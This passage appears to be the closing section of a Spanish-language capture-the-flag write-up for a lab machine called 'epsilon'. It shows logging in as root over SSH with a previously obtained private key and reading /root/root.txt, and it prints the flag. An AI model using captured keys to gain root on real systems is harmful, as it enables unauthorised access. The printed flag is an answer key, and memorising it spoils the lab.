Shell as root and root.txt
- Ahora podemos conectarnos como root por ssh.
❯ nano id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@10.10.11.134
The authenticity of host '10.10.11.134 (10.10.11.134)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:36: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.134' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 05 Jul 2024 01:56:45 AM UTC
System load: 0.01
Usage of /: 67.1% of 5.78GB
Memory usage: 17%
Swap usage: 0%
Processes: 241
Users logged in: 0
IPv4 address for br-a2acb156d694: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.134
IPv6 address for eth0: dead:beef::250:56ff:feb0:a1e8
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Feb 7 01:51:07 2022
root@epsilon:~# export TERM=xterm
root@epsilon:~# cat /root/root.txt
8a3e087754468be6d4bb82429fdae0db